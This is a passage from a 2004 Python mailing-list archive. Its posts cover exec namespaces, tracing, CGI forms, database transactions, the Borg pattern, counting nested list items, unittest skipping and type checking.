(*e.g.*, hypothetical stellar systems for fictional purposes) can be supported. All values are strictly in SI units. Getting the software The current version of botec is 0.2. The latest version of the software is available in a tarball here: http://www.alcyone.com/software/botec/botec-latest.tar.gz. The official URL for this Web site is http://www.alcyone.com/software/botec/. Requirements BOTEC requires Python 2.3. In its present state, BOTEC will also not be of much use to endusers not familiar with Python, or people without some basic working knowledge of physics, astrophysics, orbital mechanics, and space navigation. License This code is released under the GPL. ... Author This module was written by "Erik Max Francis", http://www.alcyone.com/max/. If you use this software, have suggestions for future releases, or bug reports, I'd love to hear about it. Version Version 0.2 $Date: 2004/09/18 $ $Author: max $ -- __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/ / \ San Jose, CA, USA && 37 20 N 121 53 W && AIM erikmaxfrancis \__/ Let he who does not know what war is go to war. -- (a Spanish proverb) From shakeeb.ar at gmail.com Tue Sep 28 07:07:35 2004 From: shakeeb.ar at gmail.com (shakeeb) Date: 28 Sep 2004 04:07:35 -0700 Subject: Python /etc/shadow Message-ID: <831f3acd.0409280307.6083219a@posting.google.com> hi i am pretty new to python .i was wondering whether there is any module so that i could authenticate against /etc/shadow file i tried pwd it only checks the /etc/passwd file Any help will be appreciated shakeeb From http Sun Sep 12 23:11:11 2004 From: http (Paul Rubin) Date: 12 Sep 2004 20:11:11 -0700 Subject: MD5 and SHA cracked/broken... References: <7xacvuyjfn.fsf@ruckus.brouhaha.com> Message-ID: <7xzn3udfsg.fsf@ruckus.brouhaha.com> Sam Holden writes: > Creating a collision between a "useful" file which people can > examine and use and a "trojan" file which does "bad things" is > significantly more difficult than creating two files whose > MD5 sums collide but whose contents are essentially "random". Of course it's not. Just have a block of random-looking data somewhere in the file, like in a bitmap image or something. Who's going to notice, if the bitmap doesn't actually get displayed? From FBatista at uniFON.com.ar Thu Sep 30 16:44:34 2004 From: FBatista at uniFON.com.ar (Batista, Facundo) Date: Thu, 30 Sep 2004 17:44:34 -0300 Subject: Reading a text file backwards Message-ID: [Jay] #- I have a very large text file (being read by a CGI script on #- a web server), #- and I get memory errors when I try to read the whole file #- into a list of #- strings. The problem is, I want to read the file backwards, #- starting with #- the last line. Through google: http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/276149 . Facundo -------------- next part -------------- An HTML attachment was scrubbed... URL: From http Mon Sep 6 18:06:00 2004 From: http (Paul Rubin) Date: 06 Sep 2004 15:06:00 -0700 Subject: Ramanujan & Python References: <7eOdnXhhbMoBS6HcRVn-uA@giganews.com> Message-ID: <7xn003129j.fsf@ruckus.brouhaha.com> Istvan Albert writes: > 1**3 is 1, all he needed to know is that 12**3 is 1728 > Similarly knowing that 10**3 is 1000 is trivial, all he > needed to know is that 9**3 is 729. > > Just as with squared values whenever one works with cubes > they will tune very quickly in and start recognize the first > 20 or so by heart in a matter of minutes... There's another part to the question. Is there a smaller number than 1729, that's also the sum of two cubes in two distinct ways? Ramanujan could answer that second question immediately. Can you? From jeff at ccvcorp.com Thu Sep 30 20:17:06 2004 From: jeff at ccvcorp.com (Jeff Shannon) Date: Thu, 30 Sep 2004 17:17:06 -0700 Subject: embedding python in python In-Reply-To: <415c921b$1@news.unimelb.edu.au> References: <415a7f0b$1@news.unimelb.edu.au> <4b39d922.0409290938.42c68ca4@posting.google.com> <415b415e$1@news.unimelb.edu.au> <415c921b$1@news.unimelb.edu.au> Message-ID: <10lp8chm0d6u185@corp.supernews.com> Maurice LING wrote: > Hi, > > Sorry, I have another problem here. Given this snipplet, > > >>> def b(s): > ... exec(s) > ... exec('print "x= " + str(x)') > ... > >>> b('x = 10') > x= 10 > >>> > >>> print x > Traceback (most recent call last): > File "", line 1, in ? > NameError: name 'x' is not defined > >>> > > Clearly, all the objects that were declared using exec() in function b > went out of scope, is there anyway to prevent this from happening? >>> myglobals = {} >>> mylocals = {} >>> exec "b = 1 + 2" in myglobals, mylocals >>> mylocals {'b': 3} >>> exec "c = b * 2" in myglobals, mylocals >>> mylocals {'c': 6, 'b': 3} >>> >>> The exec statement can take an optional pair of dictionaries that it uses as the global and local namespaces to execute the given code in. This is *much* preferable to a bare exec for several reasons, one of them being exactly your issue, and another being safety -- since you must explicitly include any names that you want exec to use, it makes exec rather less likely to unintentionally stomp all over your namespace (or for malicious code to do certain types of harm). Jeff Shannon Technician/Programmer Credit International From adalke at mindspring.com Wed Sep 22 15:41:48 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Wed, 22 Sep 2004 19:41:48 GMT Subject: Emacs + python (Was Re: python is going to die! =() In-Reply-To: <87hdprv3qd.fsf_-_@ion.xlipstream.com> References: <278de0e.0409201131.57baf7f9@posting.google.com> <414f61bf$0$29449$636a15ce@news.free.fr> <87hdprv3qd.fsf_-_@ion.xlipstream.com> Message-ID: <0Ak4d.396$zG1.264@newsread3.news.pas.earthlink.net> Chris Green wrote: > M-/ is good for saving keystrokes. Well I'll be.. Never knew about that one. > The trick that I like most about emacs+python right now is inserting > import pdb; pdb.set_trace() and then running the python script from a > *shell* buffer. It just happens to load the exact same code that would > occur from running pdb.py directly so code lines can be synced up. I played around with it a bit but couldn't figure out how to make it do what I've needed, which is to print the lines of code as they are running. Unlike doing a step by step in the debugger, this gives me an record of the entire program flow. I used it once to debug code running at one of my client's site. >>> import spam >>> spam.do_this() 50 >>> import showtrace >>> import sys >>> sys.settrace(showtrace.linetrace) >>> spam.do_this() Calling: ? . Calling: do_this spam.py:2: a = 5 spam.py:3: b = 10 spam.py:4: c = a*b spam.py:5: return c return 50 return >>> Here's showtrace.py import sys, linecache def getlineinfo(frame): filename = frame.f_globals.get("__file__") if filename is None: # Don't know a file? return "." if filename[-4:] in (".pyc", ".pyo"): filename = filename[:-1] lineno = frame.f_lineno if filename.endswith(".py"): line = linecache.getline(filename, lineno) if not line: line = "???" return "%s:%s: %s" % (filename, lineno, line.rstrip()) line = "???!!!" return "%s:%s: %s" % (filename, lineno, line.rstrip()) def getfuncinfo(frame): return "Calling: " + frame.f_code.co_name def linetrace(frame, event, arg): if event == 'line': sys.stderr.write(" " * indent + getlineinfo(frame) + "\n") elif event == 'call': sys.stderr.write(" " * indent + getfuncinfo(frame) + "\n") return linetrace elif event == 'return': sys.stderr.write(" " * indent + "return\n") Andrew dalke at dalkescientific.com From inderjitrai at yahoo.com Mon Sep 13 01:55:50 2004 From: inderjitrai at yahoo.com (someguy) Date: Mon, 13 Sep 2004 05:55:50 GMT Subject: cgi sorting table Message-ID: Hi guys, I'm using Python to generate a cgi web page with a table. What I want to do is able to sort the table when the user clicks on a table header. I'm trying to avoid using DOM and instead just want to use python to generate a new page. Any ideas? Thanks From heikowu at ceosg.de Sun Sep 19 08:02:20 2004 From: heikowu at ceosg.de (Heiko Wundram) Date: Sun, 19 Sep 2004 14:02:20 +0200 Subject: Math errors in python In-Reply-To: References: Message-ID: <200409191402.20305.heikowu@ceosg.de> Am Sonntag, 19. September 2004 09:05 schrieb Chris S.: > That's nonsense. My 7-year old TI-83 performs that calculation just > fine, and you're telling me, in this day and age, that Python running on > a modern 32-bit processor can't even compute simple decimals accurately? > Don't defend bad code. Do you actually know how your TI-83 works? If you did, you wouldn't be complaining about bad code or something. The TI-83 is hiding something from you, not Python. This discussion is so senseless and inflamatory that I take the OP to be a troll... Heiko. From steve at holdenweb.com Mon Sep 27 20:25:56 2004 From: steve at holdenweb.com (Steve Holden) Date: Mon, 27 Sep 2004 20:25:56 -0400 Subject: Psycopg; How to detect row locking? In-Reply-To: <41582377.5050100@magproductions.nl> References: <415811D2.7070408@magproductions.nl> <41582377.5050100@magproductions.nl> Message-ID: <4158AF94.30607@holdenweb.com> Alban Hertroys wrote: > Istvan Albert wrote: > >> Alban Hertroys wrote: >> >>> I'm also not sure whether I'm actually looking at the same >>> transaction. Is there a way to verify such? >> >> >> Are you using the same connection across threads or the >> same cursor? >> >> Transactions happen per cursor. They get committed when you call >> the commit() on the cursor (and you probably should not share the cursor >> across threads). > See below. > > Ok, that means I'm looking at different transactions. That's an > important distinction... > In that case, psycopg must be non-compliant with DBAPI, because commit() is a connection method, not a cursor method. Hence my advice that all cursors were part of the same transaction. >> Not so along ago there was a similar post. In both, the posters were >> using a mulithreaded database system, postgresql within a mulithreaded >> program >> yet at the same time desperately trying to fully control the database >> threads from the program threads, both hoping that transactions >> will save the day. But that is not what transactions are about. > > > One of those posters was probably me... I'm still kind of stuck on the > problem, but now knowing that I'm looking at different transactions I am > pretty sure that I should try a different approach. > Please make sure that you correctly understand the way psycopg is acting before you assume that multiple cursors on the same connection are isolated from each other. You may be right, but if so then psycopg is definitely not DBAPI compliant. >> Transactions are >> simply a way to ensure that a series of database instructions >> (within a thread) either all execute or none of them do. One can >> always try to coerce them to do something fancier or more different >> but then quality of the solution shows this. > > > Which would have been the case if I were looking at a single > transaction. But apparently that's not the case. Thank you very much for > your help, now at least I know where I should look. > > Alban. regards Steve From steve at holdenweb.com Thu Sep 30 19:29:10 2004 From: steve at holdenweb.com (Steve Holden) Date: Thu, 30 Sep 2004 19:29:10 -0400 Subject: How can I code to get more than One value from checkbox? In-Reply-To: References: Message-ID: <6J07d.1812$gk.1795@okepread01> Shufen wrote: > Hi, > > I'm a newbie that just started to learn python, html and etc. I have > some questions to ask and hope that someone can help me on. > > I'm trying to code a python script (with HTML) to get values from a > html form that consists of about 10 checkbox and a textbox where user > have to key in a value to perform a search. > > From python tutors, I learned that I have to use the following method: > > ### > qtype = data.getfirst('qtype') ---- checkbox name > qtext = data.getfirst('qtext', '') ---- textbox name > ### > > but I don't really know how to do it. Should I use qtype = > data.getlist('qtype') to get the value from the checkbox and how to? > > > Currently, my method required me to type in every possible combination > of the checkbox and I know that this is wrong. I wanna to include > %(qtype) in my query statement so that the script will look for the > value that contain qtype everytime a form is processs but the way I'm > doing now is wrong. > > query = "select %(qtype)s from shot_descriptions where > shot_number=%(qtext)s", qtype, qtext > > > Thus, can someone help me on this. > > Thank you for any help. > > Shufen I think you're confusing checkboxes and radio buttons. If you have ten different boxes that can be checked, each will usually have a different name, so you can test them with data.getfirst("box1"), data.getfirst("box2"), and so on. While it's true that you can have several checkbox elements with the same name, and that the CGI interface will give you a list of such values, there's absolutely no need to do so and, as you have discovered, it's positively unhelpful in most cases. With radio buttons, you give each member of the set the same name in your HTML and the browser submits the value of only the one that's been checked (if one has). regards Steve From alexander.hoffmann at netgenius.de Tue Sep 7 05:27:58 2004 From: alexander.hoffmann at netgenius.de (Alexander Hoffmann) Date: Tue, 7 Sep 2004 11:27:58 +0200 Subject: run a python script located on linux from a windows computer In-Reply-To: References: Message-ID: <200409071127.58727.alexander.hoffmann@netgenius.de> Hello Jacques, On Tuesday 07 September 2004 11:05, Tim Golden wrote: > | -----Original Message----- > | From: toaster at compass-it.ch [mailto:toaster at compass-it.ch] > | Sent: 07 September 2004 09:52 > | To: Tim Golden > | Subject: RE: run a python script located on linux from a windows > | computer > | > | > | hello tim > | > | ok i have a linux box running a 'Camera-Server'. There a several Do you mean there is some kind of hardware attached to the linux box ? In that case I'm not sure if you will be happy with the scripts being run from a remote environment, be it windows or linux. It MIGHT also fail because the scripts try to access the local hardware. If so, consider using some emulator like wine or vmware. I don't know if you really succeed this way but it may be worth trying. Good luck, Alex > | test-scripts. When i try to run them under linux i got a plenty of > | errors. So i want to launch then from the windows box. so i have a > | script in /opt/videoserver/testing/myscript.py > | > | how can i launch this script from my win box? > | > | thank you > | jacques > > [I've copied your reply back to the list to make sure > the conversation remains visible] > > Someone else has just suggested running a Samba server, > which would let you map the linux drive on the Windows > box. You'd end up running something like: > > C:\> python X:\testing\myscript.py > > Is that what you were after? > > BTW, what makes you think that running your scripts on > a Windows box will make the errors go away? > > TJG > > ________________________________________________________________________ > This e-mail has been scanned for all viruses by Star. The > service is powered by MessageLabs. For more information on a proactive > anti-virus service working around the clock, around the globe, visit: > http://www.star.net.uk > ________________________________________________________________________ From python at rcn.com Sat Sep 4 20:24:19 2004 From: python at rcn.com (Raymond Hettinger) Date: 4 Sep 2004 17:24:19 -0700 Subject: list conversion question References: <3Ma_c.13188$Dl4.3729@fe2.texas.rr.com> Message-ID: <5d83790c.0409041624.18e3b12a@posting.google.com> [Peter Otten] > > Even faster, though perhaps not as clear: > > > > >>> import operator > > >>> hist = [ 0, 1, 0, 5, 43 ] > > >>> map(operator.itemgetter(0), sorted(enumerate(hist), > > ... key=operator.itemgetter(1))) > > [0, 2, 1, 3, 4] > > Yet another option, not benchmarked, perhaps clearer: > > >>> hist = [0, 1, 0, 5, 43] > >>> indices = range(len(hist)) > >>> indices.sort(key=hist.__getitem__) > >>> indices > [0, 2, 1, 3, 4] These are both fast and clean. Consider posting them to the ASPN cookbook so they won't get lost. Raymond Hettinger From aleaxit at yahoo.com Sat Sep 25 18:19:16 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sun, 26 Sep 2004 00:19:16 +0200 Subject: Why subclass Borg ? References: <4151f867$1@nntp0.pdx.net> <1gkkomd.1sbiw5015dim9zN%aleaxit@yahoo.com> Message-ID: <1gkp1hp.xhb9tk1jnmwljN%aleaxit@yahoo.com> Egbert Bouwman wrote: > On page 208 in the cookbook Alex seems to say that the Borg class > should be subclassed. I don't see the necessity. > Just take the original four-lined Borg(), give it a suitable name, > maybe add some arguments, add oher methods, and instantiate it. > Or am I missing something again ? If you need two classes with "singleton-like behavior", implementing them as subclasses of Borg is preferable to "copy and paste ``reuse''" for much the same reason real reuse is always preferable to c&p reuse, whenever feasible. Should there ever be any useful maintenance to Borg (e.g., make it a newstyle class, optimize it in some other way, whatever!), if you have reused it properly you're in clover; if you have copied and pasted, you're not. As usual, there are _no_ compensating advantages for "copy and paste ``so-called reuse''" whatsoever. _Once, and ONLY once_. ANY TIME you have the same functionality coded twice, in two places, in two copies, that should raise your hackles. Train yourself to feel DISGUST at such cases, and remove them immediately whenever you observe them, in favour of a "once and only once" occurrence of the functionality, reused in two or more places in the proper ways (function calls, class instantiation, inheritance, whatever). You'll be MUCH happier as a result of such a stance, throughout your programming career. Alex From aleaxit at yahoo.com Tue Sep 14 07:43:46 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 14 Sep 2004 13:43:46 +0200 Subject: Easy question on opening a file References: <3_t1d.296421$Oi.201894@fed1read04> Message-ID: <1gk3ou4.1suosdk3zerp1N%aleaxit@yahoo.com> news.west.cox.net wrote: ... > > for file in files: > > f1 = file(file, "r") > > do some other stuff > > Figured out my mistake already.... 2 minutes later. > I should not be using the word file, which is a python keyword. Not a keyword, or else you would have seen a syntax error as soon as you tried using it as a normal identifier. Just a built-in name, which you're perfectly entitle to bind it as an identifier -- but if you do, of course, then you can't use that same name for two different meanings in the same scope. In the call 'file(file, ...", the two occurrences of identifier 'file' MUST refer to the same object. It's probably best to avoid using Python builtin's names for other purposes, of course, as you suggest. But there are many such names and you need not memorize them for the purpose -- if your modules and functions never use some obscure built-in such as, say, 'apply', there's no harm done if you use that name as an identifier. A side note: I think you're opening subdirectories as well as files (or rather, you''re trying to -- the attempt will probably raise an exception). You may use a try/except clause to deal with that. Alex From elainejackson7355 at home.com Sun Sep 26 12:55:48 2004 From: elainejackson7355 at home.com (Elaine Jackson) Date: Sun, 26 Sep 2004 16:55:48 GMT Subject: open and shut case References: Message-ID: "Cameron Laird" wrote in message news:nf1i22-7hd.ln1 at lairds.us... | Did this [some snipped code] meet your needs, Ms. Jackson? Here's what it does: >>> import os, win32api >>> pid = os.spawnlp(os.P_NOWAIT, "iexplore.exe", "iexplore.exe",r"c:\blabla\hej.html") Traceback (most recent call last): File "", line 1, in -toplevel- pid = os.spawnlp(os.P_NOWAIT, "iexplore.exe", "iexplore.exe",r"c:\blabla\hej.html") AttributeError: 'module' object has no attribute 'spawnlp' From onurb at xiludom.gro Mon Sep 20 18:15:32 2004 From: onurb at xiludom.gro (bruno modulix) Date: Tue, 21 Sep 2004 00:15:32 +0200 Subject: How to go about developing in zope In-Reply-To: <4c900ea0.0409172108.5ed8b24d@posting.google.com> References: <4c900ea0.0409160754.2158e732@posting.google.com> <414a9787@pfaff2.ethz.ch> <4c900ea0.0409172108.5ed8b24d@posting.google.com> Message-ID: <414f582a$0$1876$636a15ce@news.free.fr> john a ?crit : > Josef Meile wrote in message news:<414a9787 at pfaff2.ethz.ch>... > > >>I think the best way to develop such product is by using an external >>database to store the data (for the zope interaction, you can use an >>existent Zope Database Adapter - See the zope book for more info), doing >>the interfaces with ZPT (Zope's Page Templates -> Don't use DTML), and >>coding the logic on a python based product (forget about ZClasses) >> > > But doing it this way is same as doing in php Ho no... > or any > other framework like cherrypy. Never used it, so I can't tell > How does zope help me? How would you know if you don't try ? > From my understanding I think in zope we have to > develop Zclasses for objects not already available Certainly not. Writing products (and eventually 'gluing' them with scripts and the like) is much more easy (IMHO) and straightforward. > which in this application can be timesheet etc.... Am > I right?? Well... see above !-) >Also how zope helps me to implement different kind of access > level for users(admin,apprver,employee) You'd know it if you'd RTFM. > or I have to resort to plain > old relational database for it too?? Why "too" ? You just don't need any RDBMS for this. Bruno From fredrik at pythonware.com Tue Sep 21 03:36:30 2004 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 21 Sep 2004 09:36:30 +0200 Subject: parameter passing question References: Message-ID: Micah wrote: > Use the variable-arg techniques described in: > http://docs.python.org/ref/function.html > > def foo(*args): > # Do something with arg[0], arg[1], ... > > def main(): > f = foo > args = ["hello", "world"] > f(*args) > > ------ > > Is there a way to do it if I am not the one to define f? In other words, if > I cannot declare f to be a variable-argument function, is there a way to do > it? just use the f(*args) syntax when calling the function. there's no separate "variable argument function" type in Python; on a conceptual level, arguments are always passed as a tuple/dictionary pair (where the tuple holds positional arguments, and the dictionary holds keyword arguments). the "f(a, b)" and "f(*args)" call formats are just two different ways to build the tuple, and "def g(x, y)" and "def g(*args)" are just two different ways to unpack it. you can mix the two formats (both in calls and in function definitions), and you can also use keyword arguments in the call for positional arguments in the function. for details, see: http://docs.python.org/ref/calls.html (you may have to read that page more than once, or easier, just rely on the fact that all combinations work just as you would expect). From cbfalconer at yahoo.com Thu Sep 2 22:17:36 2004 From: cbfalconer at yahoo.com (CBFalconer) Date: Fri, 03 Sep 2004 02:17:36 GMT Subject: Xah Lee's Unixism References: <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <41376B82.C6A202FC@yahoo.com> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> Message-ID: <4137A7CD.8B9B0A1D@yahoo.com> Alan Balmer wrote: > ... snip ... > > The shuttle boosters are 3.7m diameter. Quite a bit larger than > the gage of any railroad I've ever seen. Clearance is more or less dependant on gauge. The story is that Lincolns assasination made the Pullman Co., because before that many clearances were too small for his sleepers. For the funeral train they had to widen the clearances. -- Some similarities between GWB and Mussolini: a) The strut; b) Making war until brought up short: Mussolini: Ethiopia, France, Greece. GWB: Afghanistan, Iraq. From aleaxit at yahoo.com Sat Sep 25 05:11:52 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 25 Sep 2004 11:11:52 +0200 Subject: Counter for items in lists in lists? References: Message-ID: <1gko0ns.a25aay1agn78mN%aleaxit@yahoo.com> Charlotte Henkle wrote: > Hello; > > I'm pondering how to count the number of times an item appears in > total in a nested list. For example: > > myList=[[a,b,c,d],[a,f,g,h],[a,b,x,y]] > > I'd like to know that a appeared three times, and b appeared twice, > and the rest appeard only once. Two problems enmeshed, here: how to count items of various values if you have a way to iterate over the values; and how to iterate on a nested list. You may code them together, but factoring them as two reusable functions is preferable -- you'll end up with more reusable building blocks than by coding them as one monolithic function. Python is good at allowing such factorings. There may be a third sub-problem, about how best to _present_ the counts -- hard to say from your statement about the problem, whether that's a problem, but, see later. You're not telling us what is the type of the items. If they're strings or numbers, basically anything that can be a key to a dictionary, the counting problem is best solved by building a dictionary: def itemcount(sequence): d = {} for item in sequence: d[item] = 1 + d.get(item, 0) return d this kind of function is known as an 'accumulator': given a sequence it loops over it computing/building some resulting object and returns it. Not a specific Python term, but a nice one to keep in mind. You don't clarify the structure of your list -- is it always two levels as you present it, could it be more, are all items always going to be at the same level or could some level have a mixture of items and sublists? Taking the simplest hypothesis -- always two levels and all items at the second level, the first one being made up of sublists only: def itemseq(nested_list): for sublist in nested_list: for item in sublist: yield item this kind of function is known as a 'simple generator': it produces a sequence you may loop on with a for statement, pass to an accumulator, etc. This is a specific Python term, and the keyword that lets you tell whether a function is a generator is 'yield'. So, given these two functions -- or enhanced equivalents if your list or its items don't meet these hypotheses -- the dict of counts is easy to obtain: myCounts = itemcount(itemseq(myList)) Now for the presentation issue -- you say you want to receive the information "that a appeared three times, and b appeared twice, and the rest appeard only once". This appears to mean that you want to get a sort of items by count, with items appearing only once just summarized as a group, not listed individually. If I correctly divined your intention, this might help: def summarize_counts(counts_dict): number_of_singletons = 0 count_per_item_list = [] for item, count in counts_dict.iteritems(): if count == 1: number_of_singletons += 1 else: count_per_item_list.append((count, item)) count_per_item_list.sort() for count, item in count_per_item_list: print 'Item %r appeared %d times' % (item, count) print '%d items appeared only once each' % number_of_singletons So, overall, if I've read your mind correctly, summarize_counts(itemcount(itemseq(myList))) should do exactly what you required. However, mindreading is always an iffy business (that's part of why the Zen of Python says "explicit is better than implicit"...:-). So, if you can clarify the various ambiguous and uncertain details of your specs, which forced me to guess (violating another Zen injunction: "in the face of ambiguity, resist the temptation to guess"), over and over, at what exactly you meant, I'm confident that the various pieces presented here can be enhanced to meet whatever your requirements actually _are_. Alex From bh at intevation.de Thu Sep 23 10:33:21 2004 From: bh at intevation.de (Bernhard Herzog) Date: Thu, 23 Sep 2004 16:33:21 +0200 Subject: unittest: new reporting category "skipped" References: Message-ID: Remy Blank writes: > I imagine something like this: > > class AnythingTest(unittest.TestCase): > def testSomethingAsRoot(self): > self.skipIf(os.geteuid() != 0, "Must be root") > > self.assertEqual(...) > ... > > def testSomethingAsNormalUser(self): > self.skipIf(os.geteuid() == 0, "Must be normal user") > > self.assertEqual(...) > ... > > skipIf() would throw a skippedTestException that would be caught > in TestCase.__call__(). TestResult would be extended with an > addSkipped() function. The reporting in text mode could be as follows: > > FAILED (failures=1, skipped=7) > > or > > OK (skipped=7) Amazing, this is practically what I implemented in Thuban (see sig for URL). It wasn't very difficult to do that by deriving some custom classes from the ones in unittest. Basically, skipped tests raise a SkipTest exception which is recorded by the test result class not as an error but as a skipped test. The relevant code is in test/support.py in which can be accessed with viewcvs as http://www.intevation.de/cgi-bin/viewcvs-thuban.cgi/thuban/test/support.py?rev=1.19&content-type=text/vnd.viewcvs-markup > If the echo is positive, I will make an initial implementation and > provide a patch for feedback. I think this would be useful to have. Bernhard -- Intevation GmbH http://intevation.de/ Skencil http://sketch.sourceforge.net/ Thuban http://thuban.intevation.org/ From bokr at oz.net Wed Sep 15 15:52:25 2004 From: bokr at oz.net (Bengt Richter) Date: 15 Sep 2004 19:52:25 GMT Subject: optimizing memory utilization References: <1db49385.0409141355.5d204a03@posting.google.com> Message-ID: On Wed, 15 Sep 2004 03:44:36 GMT, "Anon" wrote: >On Wed, 15 Sep 2004 02:20:38 +0000, Bengt Richter wrote: > >> Need example of raw input and desired output ;-) >The input is: >- one "csv" file containing a list of albums with their artist and an >AlbumID - one "csv" file containing a list of track names and associated >AlbumID - one big file containing fully-qualified paths to mp3 files Is the latter the 10k file to be searched for matches to patterns from the former two? If so, you could certainly do better than walking through mp3 paths sliding a pattern window one character at a time, since windows containing path delimiters are not likely to match anything. IOW, you probably want to split on the delimiters and also do some text normalization before trying to match. How about some actual raw data? ;-) I.e., a few lines from the raw csv files and the mp3 path file. Actual samples will probably raise questions about how the search patterns are formed and how the searched data may have to be modified to match. E.g., removing punctuation, collapsing multiple embedded spaces, case sensitivity, spelling, etc. > >The desired output is: >and XML file with the "proposed" artist, album, and track name for each >file. The file name would be the top level element for a given XML node >and then there would be element groupings of "proposed" artist, album, and >track name for each file. XML lets you do stuff like list of candidates for each fields, and then use the XML as a work order >for tagging (and possibly renaming) all of the identified files. > > >> Patterns starting at any character? What if you have overlapping >> matches? I.e., if you had a string 'abbcde123', and were looking for >> 'bb' and 'bc' would it count as two matches? Would longer matches have >> priority? E.g., matching 'bbcd' overrides 'bb and 'cd' as separate >> matches? > >Yes, yes, and yes... > You'll need a change to make long patterns come out first, but no big deal. > >> Anyway, let's see what a brute force simple approach does. E.g, just put >> the 500,000 small strings in a small tree of dictionaries based on say >> string length, then the string (you could tier it again with some >> leading characters and the rest, but I'd try the easy thing first. But >> anyway, the idea (practically untested) is something like: > >I had planned to sort the list based upon string length (and probably >apply some minimum length requirement too), but the tree of dictionaries >surely seems a bit more elegant. > Before that, though, are you going to modify the strings for consistent white space and punctuation? Or check spellings? )On the other end too, of course). > >> This finds repeating and overlapping patterns, since it was easy. That >> may not be what you want, but you didn't say ;-) >> >> ----< s500kin10k.py >--------------------------------------- def [...] >> >Gee, thanks. That's a nice example! > You're welcome. >> I suspect that you won't be that happy iterating through just arrays, >> unless they are arrays of patternmatching tables like IIRC flex >> generates to do parsing. Basically doing tricky parallel pattern >> matching by keeping track of which patterns are alive as you go from >> character to character. But 500k patterns are a lot of patterns.... > >Since I only want to do it once in rare while, execution time isn't a huge >deal... I could readily write this code in C and make my data fit within >a reasonable amount of RAM, but I'm trying to use the project as an >opportunity to lean Python. Sounds like a good way to go. If you are good in C, you can also learn how to make the best of both worlds by writing your own extension modules in C that you can import in python. Don't forget to look into available modules that may help. E.g., the array module can make arrays of numbers very efficient. mmap can let you look at a file as if it were a character array, etc. Also re for regular expressions, which you may need at some point. > > >> See if the above runs you out of memory. Or time ;-) I'd try it on >> shorter files first. You didn't say what you wanted your final output to >> look like. Small examples of input => output communicate well ;-) > >Well, basically, I'm trying to use the FreeDB database as a list of valid >artists, albums, and tracks to locate these strings within the file names >of mp3 files and then use those result to apply ID tags to the mp3 files. >I'm assuming that I'll have multiple matches for any given file so my plan >was to output to an XML file, hand 'clean' that, and then use the XML as >the input for the actual tagging operation. > Again, "locate these strings" is easy to say, but each word hides a lot of meaning. Messing with a small batch of _representative_ actual data will tell you a lot ;-) Good luck. Regards, Bengt Richter From __peter__ at web.de Mon Sep 6 07:54:45 2004 From: __peter__ at web.de (Peter Otten) Date: Mon, 06 Sep 2004 13:54:45 +0200 Subject: A little stricter type checking References: <5_MZc.5808$w%6.5000@newsread1.news.pas.earthlink.net> Message-ID: Andrew Dalke wrote: > Peter Otten wrote: >> There are at least three more idioms that could (sometimes) be replaced >> by type-checking: > > Though from what I can tell the OP wanted "real" type > checking, as found in Java and C. The original text was > > ] On the other hand in languages like C, java etc... > ] where types are strict we have the guarantee that > ] the variables will always be the same type without > ] any change. > >> # "casting" > > Wouldn't that be type conversion, and not a check? In a way it is both. Consider def f(s): s = str(s) versus interface Stringifiable: def __str__(self) -> str: pass def f(Stringifiable s): s = str(s) In the latter form the compiler can guarantee not that the call succeeds, but that the interface is there at least, while in the former both steps (check and creation/conversion) are blurred in the single str() call. Don't let yourself detract from that by the fact that in Python str() hardly ever fails. >> # check for an "interface" >> try: >> lower = s.lower >> except AttributeError: >> raise TypeError >> else: >> lower() > > Mmm, there's a problem with this checking. Consider > > class Spam: > lower = 8 Of course it is not a full replacement of a type declaration, but often used to achieve similar goals. I guess that it would be immediately dismissed by people experienced only in statically typed languages and most likely replaced with something like def f(str s): s = s.lower() .... thus (sometimes) unnecessarily excluding every object with a string-like "duck-type", i. e. a sufficient subset of the str interface for the above function to work. > Though the odds are low. > >> # check for an "interface", LBYL-style >> if not hasattr(foo, "bar"): >> raise TypeError > > Aren't both of these the "look before you leap" style? > Well, except for checking for the callable. I thought that "look before you leap" is doing something twice, once to see if it is possible and then for real. Let's concentrate on attribute access for the sake of the example: # good style, IMHO try: lower = s.lower except AttributeError: # handle failure # use lower, don't access s.lower anymore. # LBYL, bad IMHO try: s.lower except AttributeError # handle failure # use lower, accessing it via attribute access again, e. g. lower = s.lower # an unexpected failure lurks here # LBYL, too, but not as easily discernable # and therefore seen more often in the wild if hasattr(s, "lower"): lower = s.lower # an unexpected failure lurks here else: # handle failure And now, just for fun, a class that exposes the difference: >>> class DestructiveRead(object): ... def __init__(self): ... self.lower = 42 ... def __getattribute__(self, name): ... result = object.__getattribute__(self, name) ... delattr(self, name) ... return result ... >>> print DestructiveRead().lower # just doit 42 >>> d = DestructiveRead() >>> if hasattr(d, "lower"): # try to play it safe ... print d.lower ... Traceback (most recent call last): File "", line 2, in ? File "", line 5, in __getattribute__ AttributeError: 'DestructiveRead' object has no attribute 'lower' This would of course be pointless if there weren't (sometimes subtle) real-word variants of the above. >> These are more difficult to hunt and I'm lazy. >> >> However, I don't think you can tell from the structure alone whether an >> explicit type declaration would be a superior solution in these cases. > > I do at times use tests like you showed, in order > to get a more meaningful error message. I don't > think they are considered type checks -- perhaps > protocol checks might be a better term? Maybe - I think I'm a bit fuzzy about the terms type, interface and protocol. In a way I tried to make that fuzziness explicit in my previous post: In a staticically typed language you may be tempted to ensure the availability of a certain protocol by specifying a type that does fulfill it, either because templates are not available or too tedious, and you cannot make an interface (abstract base class) for every single method, no? In a dynamically typed language the same conceptual restrictions may be spread over various constructs in the code (not only isinstance()), and the translation from one system into the other is far from straightforward. >> Should Python be extended to allow type declarations, I expect them to >> appear in places where they reduce the usefulness of the code while >> claiming to make it safe... > > As was mentioned in the @PEP (as I recall) one of the > interesting possibilities is to use type checks with > support for the adapter PEP so that inputs parameters > can get converted to the right type, rather like your > first point. > > @require(PILImage) > def draw(image): > ... why not rely on PILImage's __init__() or __new__() for that: def draw(image): image = PILImage(image) Since the introduction of __new__() this can be almost a noop if the image is already a PILImage instance. > As new image data types are added, they can be passed to > draw() without need for an explicit convert step, so > long as the adapter is registered. I had a quick look at the PEP 246 - Object Adaptation, and 